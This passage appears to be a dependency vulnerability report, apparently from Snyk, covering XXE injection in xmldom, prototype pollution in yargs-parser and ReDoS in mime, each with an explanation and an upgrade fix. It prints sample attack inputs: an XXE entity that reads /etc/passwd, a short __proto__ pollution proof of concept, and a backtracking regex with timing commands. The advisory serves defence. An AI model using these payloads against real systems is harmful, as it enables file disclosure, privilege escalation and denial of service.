Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade xmldom to version 0.5.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: yargs-parser
  • Introduced through: webpack@3.12.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 yargs-parser@7.0.0
    Remediation: Upgrade to webpack@4.0.0.

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

  1. It could be used for privilege escalation.
  2. The library could be used to parse user input received from different sources:
    • terminal emulators
    • system calls from other code bases
    • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: mime
  • Introduced through: url-loader@0.5.9

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 url-loader@0.5.9 mime@1.3.6
    Remediation: Upgrade to url-loader@0.6.0.

Overview

mime is a comprehensive, compact MIME type module.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mime to version 1.4.1, 2.0.3 or higher.

References